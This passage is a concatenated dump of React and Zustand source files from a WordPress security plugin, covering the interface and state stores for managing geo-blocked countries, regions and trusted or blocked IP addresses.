                        padding: "0.5em",
                        }}
                >
                    <div
                        style={{
                            width: "95%",
                            height: "100%",
                            padding: "10px",
                        }}
                    >
                        <div style={{position: 'relative'}}>
                            <label
                                htmlFor={'ip-address'}
                                className={'rsssl-label'}
                            >{__('IP Address', 'really-simple-ssl')}</label>
                            <TextControl
                                id="ip-address"
                                name="ip-address"
                                onChange={changeHandler}
                                value={ipAddress}
                            />
                            <div className="rsssl-ip-verified">
                                {Boolean(!maskError && ipAddress.length > 0)
                                    ? <Icon name='circle-check' color={'green'}/>
                                    : <Icon name='circle-times' color={'red'}/>
                                }
                            </div>
                        </div>
                        <div>
                            <label
                                htmlFor={'note'}
                                className={'rsssl-label'}
                            >{__('Notes', 'really-simple-ssl')}</label>
                            <input
                                name={'note'}
                                id={'note'}
                                type={'text'}
                                value={note}
                                onChange={(e) => setNote(e.target.value)}
                                style={{
                                    width: '100%',
                                }}
                            />
                        </div>
                    </div>
                </div>
                <div className="modal-footer">
                    {/*//we add two buttons here for add row and cancel*/}
                    <div
                        className={'rsssl-grid-item-footer'}
                        style
                        ={{
                            display: 'flex',
                            justifyContent: 'flex-end',
                            alignItems: 'center',
                            padding: '1em',
                            }
                        }
                    >
                        <Button
                            isSecondary
                            onClick={handleCancel}
                            style={{ marginRight: '10px' }}

                        >
                            {__("Cancel", "really-simple-ssl")}
                        </Button>
                        <Button
                            isPrimary
                            onClick={handleSubmit}
                        >
                            {__("Add", "really-simple-ssl")}
                        </Button>
                    </div>

                </div>
            </div>
        </Modal>
    )
}

export default TrustIpAddressModal;really-simple-ssl/settings/src/Settings/GeoBlockList/WhiteListTableStore.js000064400000016445147510273070023151 0ustar00/* Creates A Store For Risk Data using Zustand */
import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";

const WhiteListTableStore = create((set, get) => ({

    processing: false,
    processing_block: false,
    dataLoaded: false,
    dataLoaded_block: false,
    pagination: {},
    dataActions: {},
    WhiteListTable: [],
    BlockListData: [],
    rowCleared: false,
    maskError: false,
    ipAddress: '',
    note: '',


    fetchWhiteListData: async (action) => {
        //we check if the processing is already true, if so we return
        set({processing: true});
        set({dataLoaded: false});
        set({rowCleared: true});

        try {
            const response = await rsssl_api.doAction(
                action
            );
            //now we set the EventLog
            if (response && response.request_success) {
                set({WhiteListTable: response, dataLoaded: true, processing: false, pagination: response.pagination});
            }
            set({ rowCleared: true });
        } catch (e) {
            console.error(e);
        } finally {
            set({processing: false});
            set({rowCleared: false});

        }
    },

    fetchData: async (action, filter) => {
//we check if the processing is already true, if so we return
        set({processing_block: true});
        set({rowCleared: true});

        try {
            const response = await rsssl_api.doAction(
                action,
                {
                    filterValue: filter
                }
            );
            //now we set the EventLog
            if (response && response.request_success) {
                set({BlockListData: response, dataLoaded: true, processing: false, pagination: response.pagination});
            }
            set({ rowCleared: true });
        } catch (e) {
            console.error(e);
        } finally {
            set({dataLoaded_block: true})
            set({processing_block: false});
            set({rowCleared: false});

        }
    },

    resetRow: async (id, dataActions) => {
        set({processing: true});
        let data = {
            id: id
        };
        try {
            const response = await rsssl_api.doAction('geo_block_reset_ip', data);
            // Consider checking the response structure for any specific success or failure signals
            if (response && response.request_success) {
                // Potentially notify the user of success, if needed.
                return { success: true, message: response.message, response };
            } else {
                // Handle any unsuccessful response if needed.
                return { success: false, message: response?.message || 'Failed to reset Ip', response };
            }
        } catch (e) {
            console.error(e);
            // Notify the user of an error.
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
        }
    }
    ,
    updateRow: async (ip, note, status, filter) => {
        set({processing: true});
        let data = {
            ip_address: ip,
            note: note,
            status: status
        };
        try {
            const response = await rsssl_api.doAction('geo_block_add_white_list_ip', data);
            // Consider checking the response structure for any specific success or failure signals
            if (response && response.request_success) {
                    await get().fetchWhiteListData('rsssl_geo_white_list');
                    return { success: true, message: response.message, response };
            } else {
                // Handle any unsuccessful response if needed.
                return { success: false, message: response?.message || 'Failed to add Ip', response };
            }
        } catch (e) {
            console.error(e);
            // Notify the user of an error.
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
        }
    },

    removeRow: async (country, dataActions) => {
        set({processing: true});
        let data = {
            country_code: country
        };
        try {
            const response = await rsssl_api.doAction('geo_block_remove_blocked_country', data);
            // Consider checking the response structure for any specific success or failure signals
            if (response && response.request_success) {
                await get().fetchCountryData('rsssl_geo_white_list');
                await get().fetchData('rsssl_geo_block_list', {filterValue: 'all'});
                // Potentially notify the user of success, if needed.
                return { success: true, message: response.message, response };
            } else {
                // Handle any unsuccessful response if needed.
                return { success: false, message: response?.message || 'Failed to remove country', response };
            }
        } catch (e) {
            console.error(e);
            // Notify the user of an error.
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
        }
    },

    /*
* This function sets the ip address and is used by Cidr and IpAddressInput
 */
    setIpAddress: (ipAddress) => {
        if(ipAddress.length === 0) {
            return;
        }
        let ipRegex = /^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$|^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,4}|((25[0-5]|(2[0-4]|1{0,1}[0-9])?[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9])?[0-9]))|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9])?[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9])?[0-9]))$/;
        if (ipAddress.includes('/')) {
            let finalIp = '';
            // Split the input into IP and CIDR mask
            let [ip, mask] = ipAddress.split('/');
            //if , we change it to .
            ip = ip.replace(/,/g, '.');
            if (mask.length <= 0 ) {
                if (!ipRegex.test(ip)) {
                    set({maskError: true});
                } else {
                    set({maskError: false});
                }
                finalIp = `${ip}/${mask}`;
            } else {
                finalIp = mask ? `${ip}/${mask}` : ip;
            }
            set({ ipAddress: finalIp })
        } else {
            if (!ipRegex.test(ipAddress)) {
                set({maskError: true});
            } else {
                set({maskError: false});
            }
            set({ ipAddress: ipAddress.replace(/,/g, '.') })
        }
    },

    setNote: (note) => {
        set({note});
    },

    resetRange: () => {
        set({inputRangeValidated: false});
        set({highestIP: ''});
        set({lowestIP: ''});
        set({ipAddress: ''});
        set({maskError: false});
    },

    setDataLoaded: (dataLoaded) => {
        set({dataLoaded});
        set({dataLoaded_block: dataLoaded});
    }

}));

export default WhiteListTableStore;really-simple-ssl/settings/src/Settings/GeoBlockList/GeoDataTableStore.js000064400000027266147510273070022544 0ustar00/* Creates A Store For Risk Data using Zustand */
import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";
import {__} from "@wordpress/i18n";
import {produce} from "immer";
import React from "react";
import GeoDatatable from "./GeoDatatable";

const GeoDataTableStore = create((set, get) => ({

    processing: false,
    dataLoaded: false,
    pagination: {},
    dataActions: {},
    CountryDataTable: [],
    rowCleared: false,

    fetchCountryData: async (action, filterValue) => {
        //we check if the processing is already true, if so we return
        set({
            processing: true,
            rowCleared: true,
            dataLoaded: false
        });
        // if the filterValue is not set, we do nothing.
        if (!filterValue) {
            set({processing: false});
            return;
        }
        try {
            const response = await rsssl_api.doAction(
                action, {filterValue}
            );
            //now we set the EventLog
            if (response && response.request_success) {
                set({
                    CountryDataTable: response,
                    dataLoaded: true,
                    processing: false
                });
            }
            set({ rowCleared: true });
        } catch (e) {
            console.error(e);
        }
    },

    handleCountryTableSearch: async (search, searchColumns) => {
        //Add the search to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, search, searchColumns};
            })
        );
    },

    handleCountryTablePageChange: async (page, pageSize) => {
        //Add the page and pageSize to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, page, pageSize};
            })
        );
    },

    handleCountryTableRowsChange: async (currentRowsPerPage, currentPage) => {
        //Add the page and pageSize to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, currentRowsPerPage, currentPage};
            })
        );
    },

    //this handles all pagination and sorting
    handleCountryTableSort: async (column, sortDirection) => {
        //Add the column and sortDirection to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, sortColumn: column, sortDirection};
            })
        );
    },

    handleCountryTableFilter: async (column, filterValue) => {
        //Add the column and sortDirection to the dataActions
        set(produce((state) => {
                state.dataActions = {...state.dataActions, filterColumn: column, filterValue};
            })
        );
    },

    /*
    * This function add a new row to the table
     */
    addRow: async (country, name) => {
        set({rowCleared: false});
        let data = {
            country_code: country,
            country_name: name
        };
        try {
            const response = await rsssl_api.doAction('geo_block_add_blocked_country', data);
            if (response && response.request_success) {
                set({rowCleared: true});
                return { success: true, message: response.message, response };
            } else {
                // Return a custom error message or the API response message.
                return { success: false, message: response?.message || 'Failed to add country', response };
            }
        } catch (e) {
            console.error(e);
            // Return the caught error with a custom message.
            return { success: false, message: 'Error occurred', error: e };
        }
    },

    addMultiRow: async (countries) => {
        set({processing: true});
        set({rowCleared: false});
        let data = {
            country_codes: countries
        };
        try {
            const response = await rsssl_api.doAction('geo_block_add_blocked_country', data);
            if (response && response.request_success) {
                set({rowCleared: true});
                // Return the success message from the API response.
                return { success: true, message: response.message, response };
            } else {
                set({rowCleared: true});
                // Return a custom error message or the API response message.
                return { success: false, message: response?.message || 'Failed to add countries', response };
            }
        } catch (e) {
            console.error(e);
            set({rowCleared: true});
            // Return the caught error with a custom message.
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
            set({rowCleared: true});
        }
    },

    removeRowMulti: async (countries, dataActions) => {
        set({processing: true});
        set({rowCleared: false});
        let data = {
            country_codes: countries
        };
        try {
            const response = await rsssl_api.doAction('geo_block_remove_blocked_country', data);
            if (response && response.request_success) {
                set({rowCleared: true});
                // Return the success message from the API response.
                return { success: true, message: response.message, response };
            } else {
                // Return a custom error message or the API response message.
                return { success: false, message: response?.message || 'Failed to remove countries', response };
            }
        }
        catch (e) {
            console.error(e);
            set({rowCleared: true});
            // Return the caught error with a custom message.
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({rowCleared: true});
            set({processing: false});
        }
    },

    removeRow: async (country) => {
        set({processing: true});
        set({rowCleared: false});
        let data = {
            country_code: country
        };
        try {
            const response = await rsssl_api.doAction('geo_block_remove_blocked_country', data);
            // Consider checking the response structure for any specific success or failure signals
            if (response && response.request_success) {
                set({rowCleared: true});
                // Potentially notify the user of success, if needed.
                return { success: true, message: response.message, response };
            } else {
                // Handle any unsuccessful response if needed.
                set({rowCleared: true});
                return { success: false, message: response?.message || 'Failed to remove country', response };
            }
        } catch (e) {
            console.error(e);
            // Notify the user of an error.
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({rowCleared: true});
            set({processing: false});
        }
    },

    addRegion: async (region) => {
        set({processing: true});
        set({rowCleared: false});
        let data = {
            region_code: region
        };
        try {
            const response = await rsssl_api.doAction('geo_block_add_blocked_region', data);
            // Consider checking the response structure for any specific success or failure signals
            if (response && response.request_success) {
                set({rowCleared: true});
                // Potentially notify the user of success, if needed.
                return { success: true, message: response.message, response };
            } else {
                // Handle any unsuccessful response if needed.
                set({rowCleared: true});
                return { success: false, message: response?.message || 'Failed to add region', response };
            }
        } catch (e) {
            console.error(e);
            // Notify the user of an error.
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
            set({rowCleared: true});
        }
    },

    addRegionsMulti: async (regions, dataActions) => {
        set({processing: true});
        set({rowCleared: false});
        let data = {
            region_codes: regions
        };
        try {
            const response = await rsssl_api.doAction('geo_block_add_blocked_region', data);
            // Consider checking the response structure for any specific success or failure signals
            if (response && response.request_success) {
                set({rowCleared: true});
                // Potentially notify the user of success, if needed.
                return { success: true, message: response.message, response };
            } else {
                set({rowCleared: true});
                // Handle any unsuccessful response if needed.
                return { success: false, message: response?.message || 'Failed to add regions', response };
            }
        } catch (e) {
            console.error(e);
            // Notify the user of an error.
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({rowCleared: true});
            set({processing: false});
        }
    },

    removeRegion: async (region) => {
        set({processing: true});
        set({rowCleared: false});
        let data = {
            region_code: region
        };
        try {
            const response = await rsssl_api.doAction('geo_block_remove_blocked_region', data);
            // Consider checking the response structure for any specific success or failure signals
            if (response && response.request_success) {
                set({rowCleared: true});
                // Potentially notify the user of success, if needed.
                return { success: true, message: response.message, response };
            } else {
                // Handle any unsuccessful response if needed.
                set({rowCleared: true});
                return { success: false, message: response?.message || 'Failed to remove region', response };
            }
        } catch (e) {
            console.error(e);
            // Notify the user of an error.
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
            set({rowCleared: true});
        }
    },

    removeRegionMulti: async (regions) => {
        set({processing: true});
        set({rowCleared: false});
        let data = {
            region_codes: regions
        };
        try {
            const response = await rsssl_api.doAction('geo_block_remove_blocked_region', data);
            // Consider checking the response structure for any specific success or failure signals
            if (response && response.request_success) {
                // Potentially notify the user of success, if needed.
                set({rowCleared: true});
                return { success: true, message: response.message, response };
            } else {
                set({rowCleared: true});
                // Handle any unsuccessful response if needed.
                return { success: false, message: response?.message || 'Failed to remove regions', response };
            }
        } catch (e) {
            console.error(e);
            // Notify the user of an error.
            set({rowCleared: true});
            return { success: false, message: 'Error occurred', error: e };
        } finally {
            set({processing: false});
            set({rowCleared: true});
        }
    },

    resetRowSelection: async (on_off) => {
        set({rowCleared: on_off});
    }
}));

export default GeoDataTableStore;really-simple-ssl/settings/src/Settings/GeoBlockList/WhiteListDatatable.js000064400000035662147510273070022770 0ustar00import { useEffect, useState, useCallback } from '@wordpress/element';
import DataTable, {createTheme} from "react-data-table-component";
import FieldsData from "../FieldsData";
import WhiteListTableStore from "./WhiteListTableStore";
import Flag from "../../utils/Flag/Flag";
import {__} from '@wordpress/i18n';
import useFields from "../FieldsData";
import AddButton from "./AddButton";
import TrustIpAddressModal from "./TrustIpAddressModal";

const WhiteListDatatable = (props) => {
    const {
        WhiteListTable,
        fetchWhiteListData,
        processing,
        ipAddress,
        addRow,
        removeRow,
        pagination,
        addRegion,
        removeRegion,
        resetRow,
        rowCleared,
    } = WhiteListTableStore();

    const {showSavedSettingsNotice, saveFields} = FieldsData();

    const [rowsSelected, setRowsSelected] = useState([]);
    const [modalOpen, setModalOpen] = useState(false);
    const [tableHeight, setTableHeight] = useState(600);  // Starting height
    const rowHeight = 50; // Height of each row.
    const moduleName = 'rsssl-group-filter-geo_block_list_white_listing';
    const {fields, fieldAlreadyEnabled, getFieldValue} = useFields();
    const [searchTerm, setSearchTerm] = useState('');
    const [currentPage, setCurrentPage] = useState(1);
    const [rowsPerPage, setRowsPerPage] = useState(10);
    const [DataTable, setDataTable] = useState(null);
    const [theme, setTheme] = useState(null);

    useEffect(() => {
        import('react-data-table-component').then((module) => {
            const { default: DataTable, createTheme } = module;
            setDataTable(() => DataTable);
            setTheme(() => createTheme('really-simple-plugins', {
                divider: {
                    default: 'transparent',
                },
            }, 'light'));
        });
    }, []);

    const handlePageChange = (page) => {
        setCurrentPage(page);
    };
    const handlePerRowsChange = (newRowsPerPage) => {
        setRowsPerPage(newRowsPerPage);
    };

    /**
     * Build a column configuration object.
     *
     * @param {object} column - The column object.
     * @param {string} column.name - The name of the column.
     * @param {boolean} column.sortable - Whether the column is sortable.
     * @param {boolean} column.searchable - Whether the column is searchable.
     * @param {number} column.width - The width of the column.
     * @param {boolean} column.visible - Whether the column is visible.
     * @param {string} column.column - The column identifier.
     *
     * @returns {object} The column configuration object.
     */
    const buildColumn = useCallback((column) => ({
        //if the filter is set to region and the columns = status we do not want to show the column
        name: column.name,
        sortable: column.sortable,
        searchable: column.searchable,
        width: column.width,
        visible: column.visible,
        column: column.column,
        selector: row => row[column.column],
    }), []);
    let field = props.field;
    const columns = field.columns.map(buildColumn);

    const searchableColumns = columns
        .filter(column => column.searchable)
        .map(column => column.column);

    useEffect(() => {
        setRowsSelected([]);
    }, [WhiteListTable]);

    useEffect(() => {
            fetchWhiteListData(field.action);

    }, [fieldAlreadyEnabled('enable_firewall')]);

    let enabled = getFieldValue('enable_firewall');


    useEffect(() => {
        return () => {
            saveFields(false, false)
        };
    }, [enabled]);


    const customStyles = {
        headCells: {
            style: {
                paddingLeft: '0',
                paddingRight: '0',
            },
        },
        cells: {
            style: {
                paddingLeft: '0',
                paddingRight: '0',
            },
        },
    };

    createTheme('really-simple-plugins', {
        divider: {
            default: 'transparent',
        },
    }, 'light');

    const handleSelection = useCallback((state) => {
        //based on the current page and the rows per page we get the rows that are selected
        const {selectedCount, selectedRows, allSelected, allRowsSelected} = state;
        let rows = [];
        if (allSelected) {
            rows = selectedRows.slice((currentPage - 1) * rowsPerPage, currentPage * rowsPerPage);
            setRowsSelected(rows);
        } else {
            setRowsSelected(selectedRows);
        }
    }, [currentPage, rowsPerPage]);

    const allowRegionByCode = useCallback(async (code, regionName = '') => {
        if (Array.isArray(code)) {
            const ids = code.map(item => ({
                iso2_code: item.iso2_code,
                country_name: item.country_name
            }));
            ids.forEach((id) => {
                removeRegion(id.iso2_code).then((result) => {
                    showSavedSettingsNotice(result.message);
                });
            });
            setRowsSelected([]);
            await fetchWhiteListData(field.action);
            setRowsSelected([]);
        } else {
            await removeRegion(code).then((result) => {
                showSavedSettingsNotice(result.message);
            });
        }
    }, [removeRegion]);

    const allowById = useCallback((id) => {
        //We check if the id is an array
        if (Array.isArray(id)) {
            //We get all the iso2 codes and names from the array
            const ids = id.map(item => ({
                id: item.id,
            }));
            //we loop through the ids and allow them one by one
            ids.forEach((id) => {
                resetRow(id.id).then((result) => {
                    showSavedSettingsNotice(result.message);
                });
            });
            fetchWhiteListData(field.action);
            setRowsSelected([]);
        } else {
            resetRow(id).then((result) => {
                showSavedSettingsNotice(result.message);
                fetchWhiteListData(field.action);
            });
        }
    }, [resetRow]);

    const blockRegionByCode = useCallback(async (code, region = '') => {
        if (Array.isArray(code)) {
            const ids = code.map(item => ({
                iso2_code: item.iso2_code,
                country_name: item.country_name
            }));
            ids.forEach((id) => {
                addRegion(id.iso2_code).then((result) => {
                    showSavedSettingsNotice(result.message);
                });
            });
            setRowsSelected([]);
            await fetchWhiteListData(field.action);
            setRowsSelected([]);
        } else {
            await addRegion(code).then((result) => {
                showSavedSettingsNotice(result.message);
            });
        }

    }, [addRegion]);

    const allowCountryByCode = useCallback(async (code) => {
        if (Array.isArray(code)) {
            const ids = code.map(item => ({
                iso2_code: item.iso2_code,
                country_name: item.country_name
            }));
            //we loop through the ids and allow them one by one
            ids.forEach((id) => {
                removeRow(id.iso2_code).then((result) => {
                    showSavedSettingsNotice(result.message);
                });
            });
            setRowsSelected([]);
            await fetchWhiteListData(field.action);
        } else {
            await removeRow(code).then((result) => {
                showSavedSettingsNotice(result.message);
            });
        }

    }, [removeRow]);

    const blockCountryByCode = useCallback(async (code, name) => {
        if (Array.isArray(code)) {
            //We get all the iso2 codes and names from the array
            const ids = code.map(item => ({
                iso2_code: item.iso2_code,
                country_name: item.country_name
            }));
            //we loop through the ids and block them one by one
            ids.forEach((id) => {
                addRow(id.iso2_code, id.country_name).then((result) => {
                    showSavedSettingsNotice(result.message);
                });
            });
            setRowsSelected([]);
        } else {
            await addRow(code, name).then((result) => {
                showSavedSettingsNotice(result.message);
            });
        }

    }, [addRow]);

    const data = {...WhiteListTable.data};

    const generateFlag = useCallback((flag, title) => (
        <>
            <Flag
                countryCode={flag}
                style={{
                    fontSize: '2em',
                }}
                title={title}
            />
        </>
    ), []);

    const ActionButton = ({ onClick, children, className }) => (
        // <div className={`rsssl-action-buttons__inner`}>
        <button
            className={`button ${className} rsssl-action-buttons__button`}
            onClick={onClick}
            disabled={processing}
        >
            {children}
        </button>
        // </div>
    );

    const handleClose = () => {
        setModalOpen(false);
    }

    const handleOpen = () => {
        setModalOpen(true);
    }

    const generateActionButtons = useCallback((id) => {
        return (<div className="rsssl-action-buttons">
                <ActionButton
                    onClick={() => allowById(id)} className="button-red">
                    {__("Reset", "really-simple-ssl")}
                </ActionButton>
        </div>)
    }, [moduleName, allowById, blockRegionByCode, allowRegionByCode, blockCountryByCode, allowCountryByCode]);



    for (const key in data) {
        const dataItem = {...data[key]};
        dataItem.action = generateActionButtons(dataItem.id);
        dataItem.flag = generateFlag(dataItem.iso2_code, dataItem.country_name);
        dataItem.status = __(dataItem.status = dataItem.status.charAt(0).toUpperCase() + dataItem.status.slice(1), 'really-simple-ssl');
        data[key] = dataItem;
    }

    let paginationSet;
    paginationSet = typeof pagination !== 'undefined';

    useEffect(() => {
        if (Object.keys(data).length === 0 ) {
            setTableHeight(100); // Adjust depending on your UI measurements
        } else {
            setTableHeight(rowHeight * (paginationSet ? pagination.perPage + 2 : 12)); // Adjust depending on your UI measurements
        }

    }, [paginationSet, pagination?.perPage, data]);

    useEffect(() => {
        const filteredData = Object.entries(data)
            .filter(([_, dataItem]) => {
                return Object.values(dataItem).some(val => ((val ?? '').toString().toLowerCase().includes(searchTerm.toLowerCase())));
            })
            .map(([key, dataItem]) => {
                const newItem = { ...dataItem };
                newItem.action = generateActionButtons(newItem.id);
                newItem.flag = generateFlag(newItem.iso2_code, newItem.country_name);
                newItem.status = __(newItem.status = newItem.status.charAt(0).toUpperCase() + newItem.status.slice(1), 'really-simple-ssl');
                return [key, newItem];
            })
            .reduce((obj, [key, val]) => ({ ...obj, [key]: val }), {});
    }, [searchTerm, data]);



    return (
        <>
            <TrustIpAddressModal
                isOpen={modalOpen}
                onRequestClose={handleClose}
                value={ipAddress}
                status={'trusted'}
            >
            </TrustIpAddressModal>
            <div className="rsssl-container">
                {/*display the add button on left side*/}
                <AddButton
                    moduleName={moduleName}
                    handleOpen={handleOpen}
                    processing={processing}
                    blockedText={__("Block IP Address", "really-simple-ssl")}
                    allowedText={__("Trust IP Address", "really-simple-ssl")}
                />
                <div className="rsssl-search-bar">
                    <div className="rsssl-search-bar__inner">
                        <div className="rsssl-search-bar__icon"></div>
                        <input
                            type="text"
                            className="rsssl-search-bar__input"
                            placeholder={__("Search", "really-simple-ssl")}
                            onChange={e => setSearchTerm(e.target.value)}
                        />
                    </div>
                </div>
            </div>
            {rowsSelected.length > 0 && (
                <div
                    style={{
                        marginTop: '1em',
                        marginBottom: '1em',
                    }}
                >
                    <div className={"rsssl-multiselect-datatable-form rsssl-primary"}>
                        <div>
                            {__("You have selected %s rows", "really-simple-ssl").replace('%s', rowsSelected.length)}
                        </div>
                        <div className="rsssl-action-buttons">
                            <>
                                <ActionButton
                                    onClick={() => allowById(rowsSelected)}  className="button-red">
                                        {__("Reset", "really-simple-ssl")}
                                    </ActionButton>
                                </>
                        </div>
                    </div>
                </div>
            )}
            {DataTable &&
            <DataTable
                columns={columns}
                data={Object.values(data).filter((row) => {
                    return Object.values(row).some((val) => ((val ?? '').toString().toLowerCase()).includes(searchTerm.toLowerCase()));
                })}
                dense
                pagination={true}
                paginationComponentOptions={{
                    rowsPerPageText: __('Rows per page:', 'really-simple-ssl'),
                    rangeSeparatorText: __('of', 'really-simple-ssl'),
                    noRowsPerPage: false,
                    selectAllRowsItem: false,
                    selectAllRowsItemText: __('All', 'really-simple-ssl'),

                }}
                noDataComponent={__("No results", "really-simple-ssl")}
                persistTableHead
                selectableRows={true}
                clearSelectedRows={rowCleared}
                paginationPerPage={rowsPerPage}
                onChangePage={handlePageChange}
                onChangeRowsPerPage={handlePerRowsChange}
                onSelectedRowsChange={handleSelection}
                theme="really-simple-plugins"
                customStyles={customStyles}
            /> }
            {!enabled && (
                <div className="rsssl-locked">
                    <div className="rsssl-locked-overlay"><span
                        className="rsssl-task-status rsssl-open">{__('Disabled', 'really-simple-ssl')}</span><span>{__('Here you can add IP addresses that should never be blocked by region restrictions.', 'really-simple-ssl')}</span>
                    </div>
                </div>
            )}
        </>
    );
}

export default WhiteListDatatable;really-simple-ssl/settings/src/Settings/GeoBlockList/BlockListDatatable.js000064400000031701147510273070022730 0ustar00import React, { useEffect, useState, useCallback } from '@wordpress/element';
import DataTable, {createTheme} from "react-data-table-component";
import FieldsData from "../FieldsData";
import WhiteListTableStore from "./WhiteListTableStore";
import FilterData from "../FilterData";
import Flag from "../../utils/Flag/Flag";
import {__} from '@wordpress/i18n';
import useFields from "../FieldsData";
import AddButton from "./AddButton";
import TrustIpAddressModal from "./TrustIpAddressModal";

const BlockListDatatable = (props) => {
    const {
        BlockListData,
        WhiteListTable,
        setDataLoaded,
        dataLoaded,
        dataLoaded_block,
        fetchData,
        processing_block,
        ipAddress,
        pagination,
        resetRow,
        rowCleared,
    } = WhiteListTableStore();

    const {showSavedSettingsNotice, saveFields} = FieldsData();

    const [rowsSelected, setRowsSelected] = useState([]);
    const [modalOpen, setModalOpen] = useState(false);
    const [tableHeight, setTableHeight] = useState(600);  // Starting height
    const rowHeight = 50; // Height of each row.
    const moduleName = 'rsssl-group-filter-firewall_block_list_listing';
    const {fields, fieldAlreadyEnabled, getFieldValue} = useFields();
    const [searchTerm, setSearchTerm] = useState('');
    const [currentPage, setCurrentPage] = useState(1);
    const [rowsPerPage, setRowsPerPage] = useState(10);
    const [DataTable, setDataTable] = useState(null);
    const [theme, setTheme] = useState(null);

    useEffect(() => {
        import('react-data-table-component').then((module) => {
            const { default: DataTable, createTheme } = module;
            setDataTable(() => DataTable);
            setTheme(() => createTheme('really-simple-plugins', {
                divider: {
                    default: 'transparent',
                },
            }, 'light'));
        });
    }, []);

    const handlePageChange = (page) => {
        setCurrentPage(page);
    };
    const handlePerRowsChange = (newRowsPerPage) => {
        setRowsPerPage(newRowsPerPage);
    };

    const {
        getCurrentFilter,
    } = FilterData();

    const [filter, setFilter] = useState(getCurrentFilter(moduleName));

    /**
     * Build a column configuration object.
     *
     * @param {object} column - The column object.
     * @param {string} column.name - The name of the column.
     * @param {boolean} column.sortable - Whether the column is sortable.
     * @param {boolean} column.searchable - Whether the column is searchable.
     * @param {number} column.width - The width of the column.
     * @param {boolean} column.visible - Whether the column is visible.
     * @param {string} column.column - The column identifier.
     *
     * @returns {object} The column configuration object.
     */
    const buildColumn = useCallback((column) => ({
        //if the filter is set to region and the columns = status we do not want to show the column
        name: column.name,
        sortable: column.sortable,
        searchable: column.searchable,
        width: column.width,
        visible: column.visible,
        column: column.column,
        selector: row => row[column.column],
    }), [filter]);
    let field = props.field;
    const columns = field.columns.map(buildColumn);

    const searchableColumns = columns
        .filter(column => column.searchable)
        .map(column => column.column);

    useEffect(() => {
        setRowsSelected([]);
    }, [BlockListData]);

    let enabled = getFieldValue('enable_firewall');

    useEffect(() => {
        const currentFilter = getCurrentFilter(moduleName);
        if (typeof currentFilter === 'undefined') {
            setFilter('all');
        } else {
            setFilter(currentFilter);
        }
        setRowsSelected([]);
        // resetRowSelection(true);
        // resetRowSelection(false);
    }, [getCurrentFilter(moduleName)]);

    useEffect(() => {
        return () => {
            saveFields(false, false)
        };
    }, [enabled]);

    useEffect(() => {
        if (typeof filter !== 'undefined') {
            fetchData(field.action, filter);
        }
    }, [filter]);

    useEffect(() => {
        if(!dataLoaded_block) {
            fetchData(field.action, filter);
        }
    }, [dataLoaded_block]);

    const customStyles = {
        headCells: {
            style: {
                paddingLeft: '0',
                paddingRight: '0',
            },
        },
        cells: {
            style: {
                paddingLeft: '0',
                paddingRight: '0',
            },
        },
    };

    createTheme('really-simple-plugins', {
        divider: {
            default: 'transparent',
        },
    }, 'light');

    const handleSelection = useCallback((state) => {
        //based on the current page and the rows per page we get the rows that are selected
        const {selectedCount, selectedRows, allSelected, allRowsSelected} = state;
        let rows = [];
        if (allSelected) {
            rows = selectedRows.slice((currentPage - 1) * rowsPerPage, currentPage * rowsPerPage);
            setRowsSelected(rows);
        } else {
            setRowsSelected(selectedRows);
        }
    }, [currentPage, rowsPerPage]);

    const allowById = useCallback((id) => {
        //We check if the id is an array
        if (Array.isArray(id)) {
            //We get all the iso2 codes and names from the array
            const ids = id.map(item => ({
                id: item.id,
            }));
            //we loop through the ids and allow them one by one
            ids.forEach((id) => {
                resetRow(id.id).then((result) => {
                    showSavedSettingsNotice(result.message);
                });
            });
            // fetchData(field.action, filter ? filter : 'all');
            setRowsSelected([]);
        } else {
            resetRow(id).then((result) => {
               showSavedSettingsNotice(result.message);
            });
            // fetchData(field.action, filter ? filter : 'all');
        }

        setDataLoaded(false);

    }, [resetRow]);
    const data = {...BlockListData.data};

    const generateFlag = useCallback((flag, title) => (
        <>
            <Flag
                countryCode={flag}
                style={{
                    fontSize: '2em',
                }}
                title={title}
            />
        </>
    ), []);

    const ActionButton = ({ onClick, children, className }) => (
        // <div className={`rsssl-action-buttons__inner`}>
        <button
            className={`button ${className} rsssl-action-buttons__button`}
            onClick={onClick}
            disabled={processing_block}
        >
            {children}
        </button>
        // </div>
    );

    const handleClose = () => {
        setModalOpen(false);
    }

    const handleOpen = () => {
        setModalOpen(true);
    }

    const generateActionButtons = useCallback((id) => {
        return (<div className="rsssl-action-buttons">
            <ActionButton
                onClick={() => allowById(id)} className="button-red">
                {__("Reset", "really-simple-ssl")}
            </ActionButton>
        </div>)
    }, [moduleName, allowById]);



    for (const key in data) {
